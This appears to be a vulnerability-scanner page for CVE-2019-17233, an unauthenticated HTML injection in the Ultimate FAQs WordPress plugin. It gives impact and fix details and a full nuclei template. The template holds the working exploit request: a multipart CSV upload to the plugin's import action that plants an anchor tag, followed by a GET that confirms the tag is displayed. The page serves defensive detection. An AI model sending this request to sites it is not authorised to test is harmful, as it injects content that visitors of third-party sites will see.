WordPress Ultimate FAQs <= 1.8.24 – Unauthenticated HTML Content Injection

mediumseverity

6.1CVSS score

2.2%likelihood of exploitation, next 30 days

83%of all CVEs are less likely

Readycheck to confirm it

Functions/EWD_UFAQ_Import.php in the ultimate-faqs plugin through 1.8.24 for WordPress allows HTML content injection.

Impact

Unauthenticated attackers can inject arbitrary HTML content through FAQ imports, potentially embedding malicious links or scripts that will be displayed to site visitors.

Fix

Update the Ultimate FAQs plugin to version 1.8.25 or later.

How to confirm it

Send: POST /wp-admin/admin.php?page=EWD-UFAQ-Options&DisplayPage=ImportPosts&Action=EWD_UFAQ_ImportFaqsFromSpreadsheet
Positive when: status_code == 302 and contains(location, 'reauth=1')
Send: GET /?ufaq={{question}}
Positive when: contains "<a href='http://{{url}}'>{{string}}</a>" AND status 200

Run it with nuclei: nuclei -id CVE-2019-17233 -u <target>

The full check

id: CVE-2019-17233

info:
  name: WordPress Ultimate FAQs <= 1.8.24 – Unauthenticated HTML Content Injection
  author: daffainfo
  severity: medium
  description: |
    Functions/EWD_UFAQ_Import.php in the ultimate-faqs plugin through 1.8.24 for WordPress allows HTML content injection.
  impact: |
    Unauthenticated attackers can inject arbitrary HTML content through FAQ imports, potentially embedding malicious links or scripts that will be displayed to site visitors.
  remediation: |
    Update the Ultimate FAQs plugin to version 1.8.25 or later.
  reference:
    - https://blog.nintechnet.com/unauthenticated-options-import-vulnerability-in-wordpress-ultimate-faq-plugin/
    - https://nvd.nist.gov/vuln/detail/CVE-2019-17233
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2019-17233
    epss-score: 0.02225
    epss-percentile: 0.82862
    cpe: cpe:2.3:a:etoilewebdesign:ultimate_faq:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: etoilewebdesign
    product: ultimate_faq
    framework: wordpress
    publicwww-query: "/wp-content/plugins/ultimate-faqs"
  tags: cve,cve2019,wordpress,wp-plugin,wp,ultimate-faqs,intrusive,vkev,vuln

flow: http(1) && http(2)

variables:
  question: "{{randstr}}"
  url: "{{randstr}}"
  filename: "{{to_lower(rand_text_alpha(5))}}"
  string: "{{to_lower('{{randstr}}')}}"

http:
  - raw:
      - |
        POST /wp-admin/admin.php?page=EWD-UFAQ-Options&DisplayPage=ImportPosts&Action=EWD_UFAQ_ImportFaqsFromSpreadsheet HTTP/1.1
        Host: {{Hostname}}
        Content-Type: multipart/form-data; boundary=----WebKitFormBoundary34ZHf69LbDjZlcL5

        ------WebKitFormBoundary34ZHf69LbDjZlcL5
        Content-Disposition: form-data; name="FAQs_Spreadsheet"; filename="{{filename}}.csv"
        Content-Type: application/csv

        "Question","Answer","Categories","Tags","Post Date"
        "{{question}}","<!-- wp:html --><a href='http://{{url}}'>{{string}}</a><!-- /wp:html -->","","","2025-09-17 17:16:33"
        ------WebKitFormBoundary34ZHf69LbDjZlcL5--

    matchers:
      - type: dsl
        dsl:
          - status_code == 302
          - contains(location, 'reauth=1')
        condition: and
        internal: true

  - raw:
      - |
        GET /?ufaq={{question}} HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "<a href='http://{{url}}'>{{string}}</a>"

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from